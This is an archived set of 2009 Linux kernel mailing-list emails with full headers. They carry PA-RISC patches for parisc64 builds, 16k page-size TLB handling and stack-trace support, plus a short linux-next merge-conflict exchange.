X-Trace: ger.gmane.org 1233530641 14100 80.91.229.12 (1 Feb 2009 23:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Feb 2009 23:24:01 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 02 00:25:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LTlgf-0002do-NI
	for glpp-linux-parisc@gmane.org; Mon, 02 Feb 2009 00:25:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750715AbZBAXXw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Feb 2009 18:23:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751023AbZBAXXw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 1 Feb 2009 18:23:52 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:39987 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750715AbZBAXXv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Feb 2009 18:23:51 -0500
Original-Received: (qmail invoked by alias); 01 Feb 2009 23:23:49 -0000
Original-Received: from mnhm-590e0fcb.pool.einsundeins.de (EHLO halden.box) [89.14.15.203]
  by mail.gmx.net (mp034) with SMTP; 02 Feb 2009 00:23:49 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/cYj01aBLcoi1Vh+WpI74/ZexKwPlTncIn4UVXkU
	PnpZ2Egsns+XSs
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.59
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1249
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1249>

The parisc64 target (HP PARISC, 64bit kernel) is similar to the sparc64 or 
m68knommu targets, as it shares all sources for 32- and 64-bit in one single
source path which is arch/parisc/.
This patch now allows one to use ARCH=parisc64 and just directly build the
64bit kernel without creating symlinks in arch/ and include/asm-* manually
the same way as it's done for sparc64 and m68knommu.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/Makefile b/Makefile
index cf9e20d..3582985 100644
--- a/Makefile
+++ b/Makefile
@@ -210,6 +210,11 @@ ifeq ($(ARCH),sparc64)
        SRCARCH := sparc
 endif
 
+# Additional ARCH settings for parisc
+ifeq ($(ARCH),parisc64)
+       SRCARCH := parisc
+endif
+
 # Where to locate arch specific headers
 hdr-arch  := $(SRCARCH)
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: linux-next: manual merge of the driver-core tree with the parisc
 tree
Date: Mon, 2 Feb 2009 11:11:12 +1100
Lines: 44
Approved: news@gmane.org
Message-ID: <20090202111112.731a6816.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Mon__2_Feb_2009_11_11_12_+1100_pcXEMcFbV884Psp3"
X-Trace: ger.gmane.org 1233533504 20643 80.91.229.12 (2 Feb 2009 00:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Feb 2009 00:11:44 +0000 (UTC)
Cc: linux-next@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	<linux-parisc@vger.kernel.org>
To: Greg KH <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 02 01:12:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LTmQl-0006cE-Nx
	for glpp-linux-parisc@gmane.org; Mon, 02 Feb 2009 01:12:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752612AbZBBAL3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Feb 2009 19:11:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752609AbZBBAL3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 1 Feb 2009 19:11:29 -0500
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:50649 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752470AbZBBAL2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Feb 2009 19:11:28 -0500
Original-Received: from ash.ozlabs.ibm.com (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id 8F6FE368007;
	Mon,  2 Feb 2009 11:11:23 +1100 (EST)
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1250 gmane.linux.kernel.next:5562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1250>

--Signature=_Mon__2_Feb_2009_11_11_12_+1100_pcXEMcFbV884Psp3
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Greg,

Today's linux-next merge of the driver-core tree got conflicts in
drivers/char/agp/parisc-agp.c, drivers/parisc/gsc.c and
drivers/parisc/sba_iommu.c between commit
a130bf34da4b64d7b289e2358530ef5d4ab27efd ("parisc: remove klist
iterators") from the parisc tree and commit
135bd8a5aeed90af407aeeede9587ee99c5606b2 ("parisc: don't touch driver
core internals") from the driver-core tree.

These two commits seem to be trying to do similar things.  I have used
the versions from the parisc tree.  Greg, I guess you need to check to
see if you agree and if so, then just remove the driver-core tree patch.

James, Kyle, the one thing I took from Greg's patch was the removal of
the include of linux/klist.h from drivers/char/agp/parisc-agp.c.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Mon__2_Feb_2009_11_11_12_+1100_pcXEMcFbV884Psp3
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkmGOiAACgkQjjKRsyhoI8y+ZQCgmGPHKUWwqOS4PTvxlBZ2lQas
mIIAoKYG7R55xEjY0whVYY57v6UddUCu
=NxWT
-----END PGP SIGNATURE-----

--Signature=_Mon__2_Feb_2009_11_11_12_+1100_pcXEMcFbV884Psp3--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the driver-core tree with the
	parisc tree
Date: Sun, 1 Feb 2009 20:41:44 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20090202044144.GA12243@kroah.com>
References: <20090202111112.731a6816.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233549832 18493 80.91.229.12 (2 Feb 2009 04:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Feb 2009 04:43:52 +0000 (UTC)
Cc: linux-next@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 02 05:45:05 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LTqgD-0008WA-9r
	for glkn-linux-next@gmane.org; Mon, 02 Feb 2009 05:45:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753465AbZBBEnn (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 1 Feb 2009 23:43:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753614AbZBBEnn
	(ORCPT <rfc822;linux-next-outgoing>); Sun, 1 Feb 2009 23:43:43 -0500
Original-Received: from kroah.org ([198.145.64.141]:53445 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753465AbZBBEnm (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Sun, 1 Feb 2009 23:43:42 -0500
Original-Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id 7C69849016;
	Sun,  1 Feb 2009 20:43:41 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20090202111112.731a6816.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:5568 gmane.linux.ports.parisc:1251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1251>

On Mon, Feb 02, 2009 at 11:11:12AM +1100, Stephen Rothwell wrote:
> Hi Greg,
> 
> Today's linux-next merge of the driver-core tree got conflicts in
> drivers/char/agp/parisc-agp.c, drivers/parisc/gsc.c and
> drivers/parisc/sba_iommu.c between commit
> a130bf34da4b64d7b289e2358530ef5d4ab27efd ("parisc: remove klist
> iterators") from the parisc tree and commit
> 135bd8a5aeed90af407aeeede9587ee99c5606b2 ("parisc: don't touch driver
> core internals") from the driver-core tree.
> 
> These two commits seem to be trying to do similar things.  I have used
> the versions from the parisc tree.  Greg, I guess you need to check to
> see if you agree and if so, then just remove the driver-core tree patch.

Yes, the parisc version is fine.

> James, Kyle, the one thing I took from Greg's patch was the removal of
> the include of linux/klist.h from drivers/char/agp/parisc-agp.c.

That would be good as well.

I'll fix up my tree tomorrow.

thanks,

greg k-h

From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the driver-core tree with the
 parisc tree
Date: Mon, 2 Feb 2009 16:04:20 +1100
Lines: 41
Approved: news@gmane.org
Message-ID: <20090202160420.30aa4f2c.sfr@canb.auug.org.au>
References: <20090202111112.731a6816.sfr@canb.auug.org.au>
	<20090202044144.GA12243@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Mon__2_Feb_2009_16_04_20_+1100_lzHQUrKvGq3nqvLF"
X-Trace: ger.gmane.org 1233551096 20721 80.91.229.12 (2 Feb 2009 05:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Feb 2009 05:04:56 +0000 (UTC)
Cc: linux-next@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Greg KH <greg@kroah.com>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 02 06:06:09 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LTr0S-0003QV-4h
	for glkn-linux-next@gmane.org; Mon, 02 Feb 2009 06:06:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750715AbZBBFEi (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 2 Feb 2009 00:04:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750874AbZBBFEi
	(ORCPT <rfc822;linux-next-outgoing>); Mon, 2 Feb 2009 00:04:38 -0500
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:55011 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750715AbZBBFEh (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 2 Feb 2009 00:04:37 -0500
Original-Received: from ash.ozlabs.ibm.com (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id 9FAC5368005;
	Mon,  2 Feb 2009 16:04:33 +1100 (EST)
In-Reply-To: <20090202044144.GA12243@kroah.com>
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:5570 gmane.linux.ports.parisc:1252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1252>

--Signature=_Mon__2_Feb_2009_16_04_20_+1100_lzHQUrKvGq3nqvLF
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Greg,

On Sun, 1 Feb 2009 20:41:44 -0800 Greg KH <greg@kroah.com> wrote:
>
> > These two commits seem to be trying to do similar things.  I have used
> > the versions from the parisc tree.  Greg, I guess you need to check to
> > see if you agree and if so, then just remove the driver-core tree patch.
>=20
> Yes, the parisc version is fine.
>=20
> > James, Kyle, the one thing I took from Greg's patch was the removal of
> > the include of linux/klist.h from drivers/char/agp/parisc-agp.c.
>=20
> That would be good as well.
>=20
> I'll fix up my tree tomorrow.

Thanks for checking.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Mon__2_Feb_2009_16_04_20_+1100_lzHQUrKvGq3nqvLF
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkmGftQACgkQjjKRsyhoI8wljQCfYTBDcyNv9YpzP8F8fKowrT7P
wFAAoKPOPYEmsL8jRu8Mq7R7M26tPHf4
=zCXY
-----END PGP SIGNATURE-----

--Signature=_Mon__2_Feb_2009_16_04_20_+1100_lzHQUrKvGq3nqvLF--

From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: allow to build with 16k default kernel page size
Date: Thu, 05 Feb 2009 00:06:00 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <498A1F58.60701@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233788768 5604 80.91.229.12 (4 Feb 2009 23:06:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Feb 2009 23:06:08 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 05 00:07:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LUqpx-0000MX-Mh
	for glpp-linux-parisc@gmane.org; Thu, 05 Feb 2009 00:07:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752095AbZBDXFu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Feb 2009 18:05:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752127AbZBDXFu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 4 Feb 2009 18:05:50 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:43710 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752095AbZBDXFt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Feb 2009 18:05:49 -0500
Original-Received: (qmail invoked by alias); 04 Feb 2009 23:05:47 -0000
Original-Received: from mnhm-590e0070.pool.einsundeins.de (EHLO halden.box) [89.14.0.112]
  by mail.gmx.net (mp008) with SMTP; 05 Feb 2009 00:05:47 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19GMK9F5ltG3JDaht+OkLWGsrXuFmN6Q4W6qlNzlK
	v+LHqTLuVUPORb
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.51
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1253>

Introduce new convert_for_tlb_insert20 macro and use it to replace assembler
statements with hardcoded constants.
This change allows the parisc64 kernel to boot with 16kb default kernel page size, 
aka CONFIG_PARISC_PAGE_SIZE_16KB=y.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 0f7ff93..4e9dd15 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -505,6 +505,18 @@
 	STREG		\pte,0(\ptep)
 	.endm
 
+	/* bitshift difference between a PFN (based on kernel's PAGE_SIZE)
+	 * to a CPU TLB 4k PFN (4k => 12 bits to shift) */
+	#define PAGE_ADD_SHIFT  (PAGE_SHIFT-12)
+
+	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
+	.macro		convert_for_tlb_insert20 pte
+	extrd,u		\pte,(63-ASM_PFN_PTE_SHIFT)+(63-58)+PAGE_ADD_SHIFT,\
+				64-PAGE_SHIFT-PAGE_ADD_SHIFT,\pte
+	depdi		_PAGE_SIZE_ENCODING_DEFAULT,63,\
+				(63-58)+PAGE_ADD_SHIFT,\pte
+	.endm
+
 	/* Convert the pte and prot to tlb insertion values.  How
 	 * this happens is quite subtle, read below */
 	.macro		make_insert_tlb	spc,pte,prot
@@ -544,8 +556,7 @@
 	depi		1,12,1,\prot
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
-	extrd,u		\pte,(63-ASM_PFN_PTE_SHIFT)+(63-58),64-PAGE_SHIFT,\pte
-	depdi		_PAGE_SIZE_ENCODING_DEFAULT,63,63-58,\pte
+	convert_for_tlb_insert20 \pte
 	.endm
 
 	/* Identical macro to make_insert_tlb above, except it
@@ -1244,10 +1255,9 @@ nadtlb_check_flush_20w:
 	depdi,z         7,7,3,prot
 	depdi           1,10,1,prot
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+	/* Drop prot bits from pte and convert to page addr for idtlbt */
+	convert_for_tlb_insert20 pte
 
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir
@@ -1403,10 +1413,9 @@ nadtlb_check_flush_20:
 	depdi,z         7,7,3,prot
 	depdi           1,10,1,prot
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+	/* Drop prot bits from pte and convert to page addr for idtlbt */
+	convert_for_tlb_insert20 pte
 
-	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
 	idtlbt          pte,prot
 
 	rfir
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add LATENCYTOP_SUPPORT and CONFIG_STACKTRACE_SUPPORT
Date: Fri, 06 Feb 2009 21:50:39 +0100
Lines: 109
Approved: news@gmane.org
Message-ID: <498CA29F.10907@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1233953437 12766 80.91.229.12 (6 Feb 2009 20:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Feb 2009 20:50:37 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 06 21:51:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LVXfx-0005W9-09
	for glpp-linux-parisc@gmane.org; Fri, 06 Feb 2009 21:51:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752205AbZBFUu1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Feb 2009 15:50:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753489AbZBFUu1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Feb 2009 15:50:27 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33932 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752205AbZBFUu0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Feb 2009 15:50:26 -0500
Original-Received: (qmail invoked by alias); 06 Feb 2009 20:50:24 -0000
Original-Received: from mnhm-590f7361.pool.einsundeins.de (EHLO halden.box) [89.15.115.97]
  by mail.gmx.net (mp071) with SMTP; 06 Feb 2009 21:50:24 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18k151cr9ckT6DywABrUCR5mrervvIh5/dTtpCdNG
	/MV9o3BHvLA8rN
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1254>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index aacf11d..4866e2f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -75,6 +75,9 @@ config GENERIC_HARDIRQS
 config GENERIC_IRQ_PROBE
 	def_bool y
 
+config HAVE_LATENCYTOP_SUPPORT
+        def_bool y
+
 config IRQ_PER_CPU
 	bool
 	default y
@@ -83,6 +86,9 @@ config IRQ_PER_CPU
 config PM
 	bool
 
+config STACKTRACE_SUPPORT
+	def_bool y
+
 config ISA_DMA_API
 	bool
 
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 016d3fc..a7ba8cd 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -16,5 +16,6 @@ obj-$(CONFIG_PA11)	+= pci-dma.o
 obj-$(CONFIG_PCI)	+= pci.o
 obj-$(CONFIG_MODULES)	+= module.o
 obj-$(CONFIG_64BIT)	+= binfmt_elf32.o sys_parisc32.o signal32.o
+obj-$(CONFIG_STACKTRACE)+= stacktrace.o
 # only supported for PCX-W/U in 64-bit mode at the moment
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o
diff -up ./arch/parisc/kernel/stacktrace.c.org ./arch/parisc/kernel/stacktrace.c
--- a/arch/parisc/kernel/stacktrace.c.org	2009-02-06 21:40:33.000000000 +0100
+++ b/arch/parisc/kernel/stacktrace.c	2009-02-06 21:45:16.000000000 +0100
@@ -0,0 +1,63 @@
+/*
+ * Stack trace management functions
+ *
+ *  Copyright (C) 2009 Helge Deller <deller@gmx.de>
+ *  based on arch/x86/kernel/stacktrace.c by Ingo Molnar <mingo@redhat.com>
+ *  and parisc unwind functions by Randolph Chung <tausq@debian.org>
+ *
+ *  TODO: Userspace stacktrace (CONFIG_USER_STACKTRACE_SUPPORT)
+ */
+#include <linux/module.h>
+#include <linux/stacktrace.h>
+
+#include <asm/unwind.h>
+
+static void dump_trace(struct task_struct *task, struct stack_trace *trace)
+{
+	struct unwind_frame_info info;
+
+	/* initialize unwind info */
+	if (task == current) {
+		unsigned long sp;
+		struct pt_regs r;
+HERE:
+		asm volatile ("copy %%r30, %0" : "=r"(sp));
+		memset(&r, 0, sizeof(struct pt_regs));
+		r.iaoq[0] = (unsigned long)&&HERE;
+		r.gr[2] = (unsigned long)__builtin_return_address(0);
+		r.gr[30] = sp;
+		unwind_frame_init(&info, task, &r);
+	} else {
+		unwind_frame_init_from_blocked_task(&info, task);
+	}
+
+	/* unwind stack and save entries in stack_trace struct */
+	trace->nr_entries = 0;
+	while (trace->nr_entries < trace->max_entries) {
+		if (unwind_once(&info) < 0 || info.ip == 0)
+			break;
+
+		if (__kernel_text_address(info.ip))
+			trace->entries[trace->nr_entries++] = info.ip;
+	}
+}
+
+
+/*
+ * Save stack-backtrace addresses into a stack_trace buffer.
+ */
+void save_stack_trace(struct stack_trace *trace)
+{
+	dump_trace(current, trace);
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = ULONG_MAX;
+}
+EXPORT_SYMBOL_GPL(save_stack_trace);
+
+void save_stack_trace_tsk(struct task_struct *tsk, struct stack_trace *trace)
+{
+	dump_trace(tsk, trace);
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = ULONG_MAX;
+}
+EXPORT_SYMBOL_GPL(save_stack_trace_tsk);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add LATENCYTOP_SUPPORT and
	CONFIG_STACKTRACE_SUPPORT
Date: Fri, 6 Feb 2009 16:32:24 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20090206213224.GE9743@bombadil.infradead.org>
References: <498CA29F.10907@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1233955956 20722 80.91.229.12 (6 Feb 2009 21:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Feb 2009 21:32:36 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 06 22:33:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LVYKb-0002No-7H
